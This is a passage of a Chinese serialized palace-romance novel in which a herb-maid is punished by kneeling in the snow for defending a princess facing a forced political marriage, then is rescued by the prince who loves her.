程良看了一眼赵嬷嬷手里木盘中精致的白玉汤盅,随即颔首领命进去大殿,片刻后急急出来道“王妃娘娘,殿下有请” “谢将军”梅汐媛对程良自是尚还算客气,程良是轩辕翰的心腹,她自是不能当他做一般下人对待。 梅汐媛这才带着赵嬷嬷缓缓入了大殿去,程良在其身后回头放眼看去朝着她的背影无奈地摇了摇头露出几分担忧。 进了承华殿大殿,梅汐媛欠身行礼“臣妾参见殿下”。 轩辕翰则并不热情,只冷冷对其道“天寒地冻的,你为何今日过来” “臣妾见殿下近日公务繁忙,所以亲自炖了这盅冬补汤送来,还望殿下保重身子”梅汐媛依然笑着从赵嬷嬷手中接过木盘朝轩辕翰书案边上走过去。 “殿下,臣妾这个补汤是用核桃、红参、鹧鸪三者合而为汤。核桃补肾固精、益气养血、补脑益智;红参大补元气、补脾益气、生津、宁神益智;鹧鸪鸟喜食味道极苦的半夏苗,可化痰补虚健胃。此汤冬季食用最适合滋补不过了” 梅汐媛一边说一边盛了一勺匙汤竟想伸手上前去喂食轩辕翰,轩辕翰立马朝其冷声道“放下便可,本王现在还不饿” 然梅汐媛仍不放弃继续道“殿下,太后娘娘曾关切臣妾一定要照顾好殿下的饮食起居,这是臣妾的本分,殿下又何必介意推辞呢” 轩辕翰听到梅汐媛竟拿出太后来压他,心中顿时有些怒到便急急起身来,谁知一个不小心正好将梅汐媛手上的汤盅打翻汤水溅出,梅汐媛见状急道“臣妾该死,殿下赎罪”。 梅汐媛说完便慌忙的用丝帕去帮轩辕翰擦拭衣袍,谁知轩辕翰竟迅速闪动身体避让开来。情急下,从袖中掏出手帕来的时候,竟不小心将那方“云”丝帕掉落在脚下。 梅汐媛眼疾手快看见过去一脸狐疑地捡起来道“殿下的东西掉了” 轩辕翰看到一把夺了过去怒道“以后没有本王的允许,不许过来这边,程良...”。 程良就守在大殿门口,自是清楚的听到了里面发生的一切。听到主子传唤,他迅速进入大殿。 “送王妃出去”轩辕翰看到程良进来下令道。 “王妃,请”程良伸出手道。 梅汐媛死死地盯着轩辕翰愣了一会儿,随后蹙起眉对轩辕翰说道“殿下,臣妾身体一向虚弱,王府里只有太医,诸多不便,臣妾可否前去探望太后娘娘,顺便讨一个贴身的医女回来侍候” “随你”轩辕翰一点都不想和她多做纠缠,于是冰冷着脸说道。 “如此,多谢殿下成全,臣妾这就告退,还望殿下保重身子”梅汐媛欠身行礼后缓缓走出了承华殿。 “王妃何故惹怒殿下”走出了承华殿赵嬷嬷方才上前一脸担忧地说话,刚才的情况真心吓到了她。 “哼,如果今天本王妃不激怒他,又怎么会发现这么大个秘密呢” 赵嬷嬷一脸不解“大秘密?王妃何出此言,难道王妃发现了什么?” 梅汐媛停住了脚步低头看向自己一直遮掩着的一只玉手,赵嬷嬷这才看过去直惊道“公主,你的手......”原来刚才汤盅被打翻竟烫伤了梅汐媛的手,此时已经严重红肿了。 赵嬷嬷心疼极了“公主,你太委屈了” 赵嬷嬷一会儿“公主”,一会儿“王妃”的混乱叫着。 一声“公主”是她自小看着梅汐媛长大对她尊贵骄傲身份的称呼,而一声“王妃”则是她知道是梅汐媛如今最想成为的身份的称呼。 然而这个让她一直都引以为豪骄傲的公主如今剩下的只有让她越发地觉得无比心疼。 “嬷嬷,无论如何,西秦国秦王妃这个位置永远都只能是属于我的,对吗?”梅汐媛此时握紧了拳头蹙眉问赵嬷嬷。 “对,公主所受的委屈都不会白受”赵嬷嬷安慰道。 “嬷嬷,方才你也看到了,殿下对那方掉落的云字丝帕比对我的安危还要重视,如此看来...陆姑娘所说的并非空穴来风”梅汐媛恍然大悟。 “王妃怀疑的是那位名唤衣上云的丫头吗?”赵嬷嬷问,梅汐媛一脸凝重地微微颔首。 赵嬷嬷接着说“可那姑娘的长相......” “难道嬷嬷没有发现如果她没有了那个胎记,定将会是个倾国倾城的绝世美人吗?”梅汐媛笃定。 “那王妃意欲如何?”赵嬷嬷迫切的想知道梅汐媛的计划。 “哼,既然殿下喜欢她,那本王妃何不成全他们。本王妃打算要把她接到秦王府来,与她朝夕相处”梅汐媛说着露出一脸深不可测的表情,让听的人都不禁有些心惊胆战。 我本将心向明月, 奈何明月照沟渠, 落花有意随流水, 流水无心恋落花。 “衣上云,咱们走着瞧”梅汐媛狠狠说了这样一句,便匆匆朝着韶华阁而去,赵嬷嬷一脸茫然地紧紧追随其后。 果然,这个聪明一世糊涂一时的东宁国永乐公主上钩了。陆天骄临走时在秦王府种下的一粒仇恨的种子已经悄悄发芽了。 第四十二章:雪地罚跪 陆天骄临走时在秦王府种下的一粒仇恨的种子已经悄悄发芽了。而且这粒已经破裂开来的种子已开始疯狂地生长。 转眼已是腊月年关将近了,今日又是隆冬里一个大雪纷飞的日子。 一世界的银装素裹,似乎整个西秦大地都变得寂静了许多,只听见雪花莎莎落下的声音。 西秦皇宫内刚过了晚膳的时间不久,已经是夜了。轩辕玥的风华宫里一盏盏烛火将整个宫殿照的宛若白昼。 忽然门外传来奴才们声势浩大的集体跪拜声“参加皇上万岁万岁万万岁,皇后娘娘千岁千岁千千岁”。 “是父皇和母后来了”轩辕玥闻声一边欢喜的说着,一边急急从书案边走出来过去相迎。 她一边行礼一边道“儿臣恭迎父皇母后,父皇母后万福金安” “快起来,快起来”皇后一边微笑着一边过去伸手将轩辕玥扶起身来。 随后便捉起轩辕玥的一双纤纤玉手紧紧攥在自己手心里捂着,关切道“皇儿,这天眼看着已是隆冬腊月、天寒地冻、冬雪绵绵。皇儿素患有咳疾,可要当心着点身子啊” “母后放心,有云儿在,皇儿的咳疾早就大好了”轩辕玥看了一眼身后的衣上云津津乐道。 “如此便好,你们可都要仔细着点侍奉公主殿下,都知道了吗”皇后随即满面严肃地朝着在场众奴才说道。 众人齐声回应“奴婢遵旨” 轩辕玥挽着皇后的胳膊撅起朱唇撒娇般地说“哎呀...好了母后,皇儿真的很好,母后就放心吧。不知母后今日来儿臣宫中究竟所为何事啊?” 皇后正打算说话,一旁的璟帝倒例外地先开了口说“玥儿书法的造诣倒是越来越高了”。原来璟帝进来以后并没有直接落座,而是走到书案边查看起轩辕玥刚写好的字来。 轩辕玥突然意识到有什么不对劲,随即连忙奔跑过去想要将璟帝正在看的桌上那张宣纸收起来,却被璟帝一手拦住微笑着说“皇后,你也过来看看” 皇后听闻璟帝召唤便缓缓走了过去,然而皇后看的却并不是轩辕玥的字,而是她落在宣纸上的那首诗词。 皇后轻声诵读着“青青子衿,悠悠我心。纵我不往,子宁不嗣音?青青子佩,悠悠我思。纵我不往,子宁不来?挑兮达兮,在城阙兮。一日不见,如三月兮” 轩辕玥就站在书案一旁,此时着急的她犹如热锅上的蚂蚁般蹙眉着,不由自主地看了看旁边的衣上云,衣上云亦是紧锁眉头着却朝着她摇了摇头,示意她稍安勿躁。 皇后读完,便微笑着抬起头看着轩辕玥对璟帝说道“皇上,看来我们的玥儿长大了啊” “哈哈哈...”这时璟帝忽然大笑着离开了书案,走过去落座下来。 皇后认真地问道“皇儿,你如今也年已及笄,到了婚嫁的年纪。放眼这西秦国各贵族大臣你可有中意之人?” “母后说什么呢?玥儿还小,从未有过如此想法,这诗词只不过是玥儿一时兴起,随便写的罢了,父皇母后莫要胡乱猜测”轩辕玥一脸慌乱的匆匆忙忙解释着。 “那就是这西秦国上下都没有皇儿看得上的咯,如此甚好”璟帝接着轩辕玥的话说道。 “父皇何出此言”轩辕玥甚是不解地问。 “皇后,你来跟皇儿说吧”皇后听闻顿时怔住定睛看了看璟帝,又转回向轩辕玥。 沉默了片刻后,她端起一丝略显无助稍有些僵硬的笑脸道“玥儿,身为皇族子女就该有皇族子女应有的担当,就要心系西秦百姓的安危。你虽身为女儿家不比男子能够驰骋沙场,保卫疆土。但作为西秦国尊贵的公主,你也应该为国尽自己的一份薄力” 轩辕玥听皇后这段话越听越不对劲,不知道父皇母后到底要说何事,但是她有一种不好的预感。便急急说“父皇母后到底何事,不妨直说,玥儿洗耳恭听” 皇后甚是为难不知如何开口,却也终究还是说了出来“你父皇预备留你过了这个年,等开了春把你赐婚给北烈国大皇子拓跋泽与其完婚” “什么”轩辕玥忽觉眼前一阵晴天霹雳般的晕眩,急急后退了两步,衣上云亦是万分出乎意料着立刻上前将轩辕玥扶住。 “皇儿...”皇后神色慌张地亦是想伸手去扶轩辕玥,而轩辕玥却避退了去。皇后看了露出一脸的心疼,这可是她辛辛苦苦怀胎十月身上掉下来的一块肉啊,她岂能不怜她。可是身在帝王家,又诸事岂是她想如何便能如何的。 璟帝心意已决,这时决绝地说着“四国之争,生灵涂炭。北烈国兵强马壮屡犯我西秦边境,边境之地民不聊生...” 轩辕玥恼羞成怒急急打断璟帝的话抢着说“西秦不是有战神秦皇叔吗?” 璟帝听闻后露出一脸轻蔑之态哼道“秦王虽屡建奇功将其逼退,但哪次征战不是劳民伤财,负债累累,西秦早已国库空亏,如今急需时间休养生息” 轩辕玥听了无奈地说“所以父皇认为如今最好的办法便是牺牲玥儿来和亲联姻以安抚北烈,对吗?” 此话一出一室寂静,她停顿了半天后,忽然流泪伤心地问“父皇母后,玥儿到底还是不是你们最疼爱的皇儿了?” “皇儿,你永远是母后最疼爱的皇儿”皇后亦是泪流满面心疼地急急抱着轩辕玥哭道。而轩辕玥的眼里却瞬间没有了昔日里的骄傲和自豪,现在她的眼中只有对这身份尊贵无比的帝后父母无限的绝望。 谁知她忽然一脸坚定决绝地对帝后说道“父皇母后,请恕皇儿不能从命” 皇后听闻她如此直接大胆又坚定的反抗声,用极其惊恐的眼神看着怀抱里的轩辕玥。 而璟帝亦是怒发冲冠道“你说什么,你竟敢违抗朕的旨意,是谁给你这么大的胆子”。 衣上云见势立马上前俯首下跪道“皇上息怒,公主尚且年幼,而且北烈国属游牧民族,条件极其恶劣,公主自幼娇生惯养,定是不得适应其生活。还望皇上三思” “你又是何人,竟敢为她求情”在此刻这种情势下,即便是身为西秦国母轩辕玥生母的皇后也是不敢妄言相劝的。 然衣上云却一脸镇定与从容地冲上前去,就连一旁的轩辕玥也为她捏着把汗惊道“云儿...” 衣上云回头看了一眼此刻万念俱灰又梨花带雨的轩辕玥,更是坚定了自己的决心。 “皇上,正所谓虎毒不食子,灵空大陆四国条件最差的就属北烈,而公主是西秦最贵重的公主,皇上将她送去北烈国和亲,不正如同将公主羊入虎口吗,皇上真心舍得?” “放肆,大胆奴才竟敢口出狂言,朕今天就好好让你长长记性”璟帝暴怒了。 轩辕玥亦是慌乱了神想要上前求情,皇后却紧紧拉住她“玥儿,你父皇现在气头上,你就不要再增加他的火气了,否则云儿只会受到更为严重的惩罚” “可是,母后,云儿她这都是为了我啊...”皇后使眼色对她摇了摇头,轩辕玥想了想又不得不收了声,只是一脸担忧地看着衣上云,又看一看高高在上的璟帝,不知道他要如何处罚她。 璟帝看看殿外昏暗的烛光照射下的漫天飞雪道“朕看今日这场瑞雪不错,朕就罚你在这雪地里跪满十二个时辰,为我西秦子民祈福”。 “父皇不可,十二个时辰,冰天雪地,云儿一定会没命的”轩辕玥听闻再也忍不住了,哭着求璟帝道。 “公主放心,云儿可以的”衣上云却微笑着朝轩辕玥说完便向璟帝叩首心甘情愿的走出大殿去领罚。 轩辕玥急急甩开皇后的手追出去,却早已不见了衣上云的身影,轩辕玥露出一脸的担忧...... 于是,隆冬腊月里、冰天雪地、寒风刺骨。一个倔强而又坚强的身影孤孤单单地跪在了风华宫宫门口。 此刻衣上云双膝跪在冰冻刺骨的雪地上,雪落满她一身。璟帝下令她不眠不休,不吃不喝跪满十二个时辰方可饶恕,这才过去了四个时辰,刚刚卯时而已。 “这可怎么办是好?都怪我,我不该一时冲动任性地说出那样的话来惹父皇生气发怒,而最终受苦的确是云儿”轩辕玥亦是不安地夜不能寐,在寝殿里慌乱而又无助地踱步埋怨了着。 眼看天就快亮了,一旁的宫女劝着“公主,还是歇息歇息吧,您已经走了一夜了,腿都酸了吧”。 “都一边去,你们可都知道再这样跪下去,云儿的一双腿怕是要废了,本公主又怎能安心歇息?”轩辕玥怒骂着说话的小宫女。 “可是公主,您这样走来走去也无济于事啊,如今您被皇上禁足在风华宫内,不准踏出宫门半步的。下令处罚衣药女的可是皇上,皇上的命令有谁敢违抗呢?”小宫女小心地说。 轩辕玥却当做没听见只问了一句“现在是什么时辰了?” 小宫女回道“已经卯时了”。 “卯时......”轩辕玥一边重复着一边仍然不停地踱步。突然她眼前一亮,眼睛睁大开来一怔,像是发现了什么奇珍异宝般欣喜。 “有了,赶快。速速替本公主去找一个人,这个人一定可以救云儿,也只有这个人能够救得了她”轩辕玥急急对身边的小宫女道。 “公主说的人是?”小宫女好奇地问着,心里却怀疑着,竟还有人能从皇上万岁的手里救得了人? 轩辕玥上前去对着小宫女的耳朵耳语了片刻后,小宫女惊道“衣上云区区一个卑微的小药女,公主殿下确定那人他会来?” “你去照本公主的原话相告便可,其他不必多问”小宫女一脸狐疑地拿起披风按照轩辕玥的指示急急走出了风华宫去。 轩辕玥站在寝殿门口,望着风华宫的宫门,衣上云就在门口边跪着,她却不能过去相伴,因为她知道如果她过去,衣上云将会面临更重的惩罚。 一夜未眠,而此时她终于深深吐了一口浊气后自言自语道“云儿,再多坚持一会儿,你的救星马上就到了” 轩辕玥口中的这个救星是谁呢? 第四十三章:此生定不负她 轩辕玥一夜未眠,而此时她终于深深吐了一口浊气.然后自言自语道“云儿,再多坚持一会儿,你的救星马上就到了...” 冰天雪地的凌晨时分,小宫女受轩辕玥之命冒着风雪一路狂奔着,终于来到了乾坤殿。大殿门口文武百官正等着即将上朝的时间。 她一眼便从众人中看到了那个轩辕玥口中所说的救星——秦王轩辕翰,这个救星本就自带光环,无论走到哪里都是自带发光体,光彩夺目。 然而小宫女仔细一看,却发现秦王轩辕翰今日并不是独自前来上朝,原来秦王妃梅汐媛也随同一起入宫了。 此时,众大臣们正齐聚一起向着尊贵的秦王寒暄着。 眼看距离上朝的时刻也只剩下半个时辰了,再不去禀报就真的来不及了。于是,小宫女深深吸了口气便急急跑上前去向轩辕翰行礼道“奴婢风华宫宫女锦兰,拜见秦王殿下,秦王妃娘娘” “风华宫宫女?这么早来这里找本王,所为何事”轩辕翰依旧一脸严肃冰冷却有些不明所以地问。 “奴婢斗胆,秦王殿下可否借一步说话”小宫女说完怯怯地看了轩辕翰一眼随即低着眼睛露着一脸的着急之态。 “大胆奴才,你是什么身份,竟敢对秦王殿下如此无礼”梅汐媛听闻上前怒斥小宫女,小宫女惊吓到后将头埋的更深了。 轩辕翰看见却伸手拦了梅汐媛的怒骂声,随后便独自往一边没人的地方挪了几步,小宫女见势立马紧跟到其身边,凑到他身旁将轩辕玥方才交代的原话一字不漏地重复了一遍。 “什么?现在人在何处?”只见轩辕翰突然眉头紧锁怒声问道。 “回禀秦王殿下,现在衣药女还在风华宫门口跪着,公主......”小宫女见轩辕翰怒色连忙回禀,然话还没说完,轩辕翰早已调头转向风华宫方向飞奔而去。 梅汐媛看见在其身后急唤“殿下”,轩辕翰并未回头。此情此景,不知发生何事,随即也急急上前跟了去。 大雪虽然在半夜已经转小了许多,可是这严冬的夜却冷得刺骨。衣上云身上的棉衣本就破旧,现在还被身上的温度融化了的许多雪水将其一寸寸地浸湿渗透着,她整个人跪在那里咬牙切齿着瑟瑟发抖。 长长的睫毛上挂着两串细细的冰珠子,只要眼睛微微一动,都可以发出哗啦哗啦互相碰撞的声音。 此刻,她又冷又饿,双臂交叉紧紧环抱着自己原本就瘦小的身子蜷缩着,找不到一点稍微暖点的地方,她闭着眼睛已有些摇摇晃晃起来。 她不是没有想过办法,这期间她曾多少次握紧那所谓的神器,那只七彩.金丝彩玉镯子,可是它却一点儿反应都没有。 如果不是因为那是魏明轩留给她的唯一的念想和动力,她想,即使它价值连国她此时也真的很想将它狠狠的摧毁。 但是一想到魏明轩,她不但不能毁掉它,还得咬牙拼命坚强的护着它。她得活着、撑着、等着...... 终于,她彻底累了也倦了,连摇摇晃晃也做不到了,意识在一点点丧失,甚至都已不能继续她的思绪。 这时环抱着自己的双臂也慢慢地垂落了下来,跟着便稍斜着身子朝着一边厚厚的积雪上重重地倒落了下去... 忽然间,只见横空伸出一只大而有力的手来,稳稳地接住了她已经下落大半的身子,随即又有同样的另一只大手将其整个身子一把迅速的揽住横抱起来。 轩辕翰眉头深锁满脸疼惜地端详了一眼自己怀中这个此时一脸苍白的人儿,当触碰到她冰冷渗人的身子时,这才发现她的一身旧宫衣几乎全部已被雪水浸透。只见他眉毛瞬间全部降下怒不可遏,随即便抱着她大步跨入了风华宫的门直朝大殿而去。 此时好不容易追赶上来的梅汐媛看见眼前的情景惊讶万分,他竟然当着自己的面如此含情脉脉温柔地抱着另一个女子,还用那样柔情关怀的眼神注视她。 而这女子竟只是一个小小的御药房药女,是何等的卑微之躯,竟能得到天下如此尊贵的男人之垂怜。 此刻,她终于明白了陆天骄所说那番话的含义,也更加坚定了自己今日进宫接下来准备计划要做的事情的决心。 “参见秦王殿下”风华宫的奴才们看见轩辕翰进来急急对其跪拜行大礼道。 “秦皇叔”如坐针毡般等候着的轩辕玥听闻亦是立马惊声着踱步出去,看到轩辕翰抱着已经昏迷了的衣上云进来,她立马命人将配殿的床榻准备妥当,便搭手把衣上云放在温暖的床榻上。 “你,快去传太医” “你,赶快去拿身干的衣服来给云儿换上” “还有你,快去端些浓郁的热姜汤过来先给云儿服下” ...... 轩辕玥急急忙忙地安排着小宫女们,小宫女们也都领命后纷纷开始抓紧办差。 轩辕翰只顾坐在床榻边紧紧捂着衣上云一双冻得已似是僵硬的手,像似要给她他所拥有的全部温暖,皱着眉头露出一脸的担忧,轩辕玥看着俩人心里尽是愧疚。 “玥儿给皇婶请安”此时,梅汐媛也闻声走了进来,一进门便看到眼前这让她嫉妒地发狂的场面,却终究还是强压着心底的怒火,颔首朝轩辕玥微笑了一下。 “殿下,早朝的时间快到了”梅汐媛进来提醒道,然轩辕翰眼睛却始终盯着榻上的人儿,一动不动,不言不语。 一室寂静...... 不知道过了多久,听到宫女们要给衣上云更衣,他方才依依不舍地将她的手塞进温暖的被窝里,缓缓起身来走到轩辕玥的身边面无表情地说道“此后,就算赔上你的性命你也要护好她” 轩辕玥听了大惊失色,她迅速抬起头看着轩辕翰,却只从侧面看到轩辕翰的眼睛里满是寒冷、决绝、坚定和愤怒。 “是,玥儿谨记皇叔教诲,云儿有今日全是拜玥儿所赐。玥儿此生定不负她”轩辕玥亦是含泪坚定地回他道,衣上云此次乃是以自己的性命在替她与璟帝争取周旋,来成全她。 在别人看来,衣上云今日殿前所言只是不想让轩辕玥嫁到极其困苦的北烈国而已;而其实衣上云深深了解轩辕玥早已心有所属,而如今要她背弃自己的爱情,以轩辕玥的性格,天知道最后被逼急的她会做出什么事情来。 璟帝一意孤行地做了这个决定,旁人都知道不能劝,也劝不了。 自古皇家儿女的幸福从来都不曾掌控在自己的手中,享受了常人不及的荣华富贵的同时,也要承担常人远远不及的痛苦。 而衣上云希望轩辕玥得到自己想要的幸福,也愿意帮其成就自己的幸福。于是顶着龙颜大怒的危险,想要唤醒璟帝心底对轩辕玥那暂且尚存着的仅有的一丝怜悯。 而哪怕是自己激怒了他,今天她被惩罚了,至少今日他不会再继续咄咄逼人,将轩辕玥逼到孤立无援无助的境地,至少给她个喘息的机会。毕竟她还只是个15岁的孩子,还不能坦然承受这生命里突如其来的变数。 而事实证明,今天衣上云的赌注成功了,因为璟帝确实因她而怒了,他也没有再继续逼迫轩辕玥。而最幸运的是,轩辕翰来了,来的不早也不晚恰巧正是她再也无力坚持的时刻。 轩辕翰狠狠地看着轩辕玥的眼睛说完这句便走出了风华宫向着乾坤殿走去。 轩辕玥这才擦了擦眼泪,过去坐在衣上云正躺着的榻边道“云儿,你为什么这么傻?”话刚一出,却又想哭,眼里又噙满了泪水。 “你一个小小的药女,怎么敢对父皇说出那样的话来” “你真的不要命了吗?” “你要是真有个什么三长两短,你让我如何对......对他交待啊”轩辕玥说着说着,余光扫了一眼一旁还在站着的梅汐媛一眼。 “皇婶,快请坐,真不好意思,今日玥儿这里的状况真的是......”梅汐媛打断了轩辕玥的话。 “公主莫要客气,不知风华宫到底发生了何事,公主不妨说出来,也许皇婶可以帮你”梅汐媛关切道。 经过轩辕玥的一番复述,梅汐媛恍然大悟道“原来如此,看来这个小药女倒真是一个忠仆” 轩辕玥急急辩解道“皇婶,玥儿从来没有把云儿当做下人看待”。 梅汐媛则不慌不忙严肃地说“玥儿此言差矣,在这深宫之中,主即是主,仆便是仆,即便你再喜欢,她也只是一个奴婢而已,奴颜婢膝,是她们身为奴婢该谨记一生应有的本分,以提示她们无论何时都不能有越轨之举。否则,这宫中主不像主,仆不像仆,又该如何治理” 轩辕玥无言以对,任凭梅汐媛一大堆道理,也不能改变她对衣上云的心意。 更何况,她深知轩辕翰亦是对衣上云另有一番心思,虽然现在自己还未得知究竟会如何,但就从刚才轩辕翰对自己的那句狠话,她便知道衣上云对她这个皇叔很重要,比她自己的命还要重要。 不但他要护着衣上云,如今轩辕玥自己也亏欠了衣上云,轩辕翰竟命令轩辕玥要以命相护来偿还她。 俩人说话间,宫女已经为衣上云换上了干净的衣物喂下了浓郁的热姜汤,太医也已细心地诊断完毕前来禀报。 “公主殿下,衣药女冻伤似很严重,近期务必以清淡的热汤食为主,不可离炭火太近烤火取暖,必须按时服药,膝盖处定时涂擦老臣配置的药膏,身子一定得注意保暖,否则后果不堪设想”太医严肃地交待着。 “那可能痊愈?”轩辕玥着急地问。 “这个老臣不好说,病人原本体质本就各不相同,恢复自然也不同。只是这冰天雪地里一直长时间跪着,怕是以后风吹雨打,寒冷潮湿之际,衣药女这腿......要遭大罪了”太医说着说着顿了一下,终究还是继续把话说完。 “一定要用宫中最好的药,务必把她给本公主治愈,否则......”轩辕玥想都不敢想,要是轩辕翰知道了会是什么样子。 而此时门外有一人正好匆匆赶进来,刚好听到了太医所说的每一句话...... 第四十四章:你温暖我,我陪伴你 “一定要用宫中最好的药,务必把她给本公主治愈,否则......”轩辕玥想都不敢想,要是轩辕翰知道了会是什么样子。此刻,她深深蹙眉握紧双拳朝着太医说完后沉思着。 而此时门外一人正好匆匆赶进来,刚好听到了太医所说的每一句话...... 轩辕翰急急上完早朝便又折回到风华宫,已经在门外准备进来,因为怕打扰到衣上云的修养,便伸手示意奴才们无需行礼,却不料刚好听到了太医所说的每一句话。 随即他一个大步跨过门槛进来怒道“废物,给本王滚下去”太医被极致冷厉的训斥声惊得立马俯首告退下去。 “秦皇叔,玥儿错了,都是因为玥儿,云儿才会变成这样”轩辕玥也实在不知道现在怎样做才能平息轩辕翰此时的怒火,只能不停地认错道歉,她实在没想到轩辕翰竟对衣上云如此在乎。 轩辕翰没有说话也没有看轩辕玥一眼,只自顾朝着衣上云的榻边过去撩起锦袍坐下来。 半天后,他终于冷冷的出声“到底怎么回事?” 小宫女情急之下只告诉轩辕翰衣上云因为轩辕玥触怒了璟帝被雪地罚跪十二个时辰,却并未细禀其中详由。 此时轩辕玥看了一眼旁边安静的梅汐媛,轩辕翰余光扫了一眼过去向梅汐媛道“你先独自过去跟太后请安吧,就说本王有要事处理稍候便到” 梅汐媛见此自知是这叔侄俩人故意要支开她,便也无奈地起身来欠身行礼“那臣妾先行告退”随后便独自朝着永安宫方向而去。 梅汐媛刚出门,轩辕玥便满腹委屈地哭诉起来“秦皇叔,你救救玥儿,玥儿不想去北烈和亲,玥儿不是任何人的工具,玥儿是个人,是个有血有肉有感情的人啊” 轩辕翰听此,眼睛一怔心想,原来竟是这样,所以这个蠢女人这次是为了这件事才触怒了皇帝。接着顿时陷入了一片悠长的沉思之中。 过了半天才清醒转头对着轩辕玥说道“好了,本王知道了,你先退下吧”,轩辕玥这才收声一边抹着眼泪一边起身来走出了偏殿。 一室寂静,轩辕翰伸出右手轻柔地抚向衣上云鬓边的刘海,眼睛带着极致地温柔和心疼。接着手指又顺势下滑沿着她苍白瘦小的脸庞拂过轻抚着,像似要将她今日所受的全部伤痛和惊吓全都抹掉,抚平一般。 一双温暖又极具安全感的大手,无比舒适的温度,让人痴迷,让人陶醉,让人心疼而又不舍。 此刻,惟愿上天垂怜这俩人,最好岁月就此永远停留在此刻。 你温暖着我这副冰冷的身体,我陪伴着你多年孤寂的灵魂。 ...... “秦王殿下”终于衣上云又缓缓睁开了依然好看的那双凤眼,让她惊讶的是竟然一睁眼看到的会是他,轩辕翰见她苏醒急忙收回自己的手。 她用力支撑着想要坐起身来,却发现自己的腿完全没有了知觉,一点儿力气都用不上。 “我的腿......”衣上云惊呼道。 “别怕,只是冻伤了暂时没有知觉,得慢慢恢复”轩辕翰愁云满面的朝她埋怨道,责备着她的任性,埋怨着她不懂得自保。 “殿下怎么会在这儿,玥公主呢?她还好吗?皇上没有再为难逼迫她了吧?”衣上云立马担忧地问,见轩辕翰不出声便着急着四下里寻着轩辕玥的身影。 轩辕翰此时看着她这个样子就生气“你先管好自己吧,不知道自己什么身份吗,还喜欢替人强出头,就那么爱管闲事?” 衣上云听到这突如其来的训斥声,便立刻收声扭头过去看向床榻的内侧,轩辕翰见她如此失落的反应便无奈地说“玥儿很好,不用替她担心”衣上云这才安心了许多。 一室寂静,俩人相对却无言,似是只要人在一起,哪怕什么都不做都是最好的。 半晌后,还是衣上云先开口打破了这种莫名的气氛“殿下,求你帮帮玥公主”,轩辕翰这才转眼过去看了她。 衣上云接着说道“殿下,公主她其实是已经心有所属,故而才顶撞了皇上” 轩辕翰这才恍然大悟“她属意的人是谁?” 衣上云答“是东宁国三皇子梅志煊”。 “是他”轩辕翰看着衣上云自是有些惊讶,衣上云朝他点点头肯定道。 “那你想本王怎么帮她?”轩辕翰眼睛转向一旁,若有所思地问。 衣上云蹙眉诚恳地说道“殿下可否帮公主得偿所愿” “得偿所愿”轩辕翰接着衣上云的话重复道,却显出一副意味深长难以言表之态。 衣上云以为轩辕翰想以条件交换,便急急说“只要殿下能帮公主得偿所愿,有情人终成眷属,奴婢愿为殿下做牛做马,报答殿下。奴婢自知身份卑微,可是奴婢愿意付出任何代价,只要公主幸福安乐” “你为何总把自己的性命看的如此轻贱,难道你的命就不是命,可以随意拿去为别人遮刀挡剑吗?”轩辕翰听她说出这样的话来,又想起她之前为别人心甘情愿所做的种种,顿时满腹怒火涌上心头吼道。 “殿下息怒,奴婢不是不知任何人的性命都珍贵无比。只是,奴婢是一个从小就没人疼没人爱的废柴丑女。此生能得公主以诚相待,奴婢愿为她死而无憾。况且,这个世上,奴婢也没有什么可牵挂的了,应该也没有人会在乎奴婢的生死吧?” 衣上云满腹委屈地说出这句话来,确实无论是在21世纪,还是在这千年前的西秦国,他一直都是孤独无人怜的,说着说着便陷入了无边的思绪之中。 “殿下,求求你,帮帮公主,奴婢知道整个西秦国只有殿下您才有能力可以帮公主,公主她还只是个孩子,她还不能承受生命里不能承受之痛,再逼她会疯的”衣上云又一次绝望地说着,竟忍不住眼里噙满了泪水。 轩辕翰见此深吐一口浊气道“本王可以答应你,但是本王要你记住你今日所说过的话。以后你的命便是本王的了” 随即他再次转眼看向床榻上的衣上云的眼睛如同像是在宣告般郑重其事地说“衣上云,从今以后本王便是你的唯一。你的身,你的心都将只属于本王一人” 衣上云惊恐万分,看着轩辕翰如此坚定和严肃的语气和目光,她竟不知为什么自己的眼睛连眨都不敢眨一下,直直看着轩辕翰的眼睛四目相对着。 轩辕玥休息了片刻后,终于精神足了许多,这时忽然闯了进来。 一看到衣上云醒了,便大步跑过去床榻边激动地说“云儿,你终于醒了,我好害怕你......” 衣上云微笑着对她说“公主,云儿说过,我可以的” “可是你不知有些人差点要了本公主的命”轩辕玥看了一眼身旁的轩辕翰低头支支吾吾道。 轩辕翰低眉抬眼看了一眼轩辕玥,轩辕玥就再也不敢抬头也不敢出声了。 衣上云这才对轩辕玥急急说道“公主,秦王殿下已经答应帮公主了”。 轩辕玥听到这话迅速抬起头来疑问“帮我?帮我什么?” “多事,病了就好好休息”轩辕翰突然对着床榻上激动的衣上云怒道,随即目光转向她身旁的轩辕玥问道“你喜欢东宁国三皇子梅志煊?”。 “玥儿是......哪有?皇叔从哪胡乱听来的谣言”轩辕玥本来欣喜,却又碍于女儿家的矜持,中途竟改变了话语。 “如此,那本王就不管了”说着,轩辕翰便作势想要起身来离开。 轩辕玥急急伸出双手将他按了下去,嬉皮笑脸撒娇道“皇叔......” “本王现在郑重地问你,你可要想好了再回答,这件事关乎你自己一辈子,甚至......”轩辕翰说着欲言又止。 轩辕玥瞬间满脸欣喜地说“秦皇叔请问,玥儿知无不言言无不尽”。 轩辕翰瞪了一眼她便说“你真的喜欢东宁国三皇子梅志煊?”。 轩辕玥信誓旦旦道“是,玥儿此生非君不嫁”。 轩辕翰:“但你可知他是否也非你不娶呢”。 轩辕玥:“玥儿只要能够天天看到他,陪伴他左右便心满意足了”。 轩辕翰竟不知自己眼里的这个小丫头对那异国的皇子竟痴恋至此“最后一个问题:如今灵空大陆风云变换,群雄逐鹿,战争不断。倘若有朝一日西秦和东宁两国兵戎相见,你又如何选择?” 轩辕翰是朝堂中人,自知灵空大陆四国统一的这一天早晚会到来。而现在,这个丫头竟然对敌国的皇子用情之深至此,但还是抱着最后一丝希望,盼着能够挽留住她。毕竟这个公主完全不像璟帝那般无情暴虐。 见轩辕玥为难半天不出声,轩辕翰便道“怎么,是要放弃了吗?”。 “不,秦皇叔,民间有言:嫁鸡随鸡嫁狗随狗。玥儿此心,日月可鉴,至死不渝。东宁亡,玥儿亦亡”轩辕玥顿时一脸严肃地回答。就连一旁安静听着的衣上云亦是为之所震惊,原以为轩辕玥只是个孩子,没想到她竟早已长大,俨然已是个有自己主见和担当的西秦公主了。 轩辕翰亦是为之一怔,随后便道“本王最后一次再跟你确认,一切都如你方才所言,不管将来如何,此生永不后悔”。 轩辕玥看了看衣上云,衣上云露出一脸的担忧。 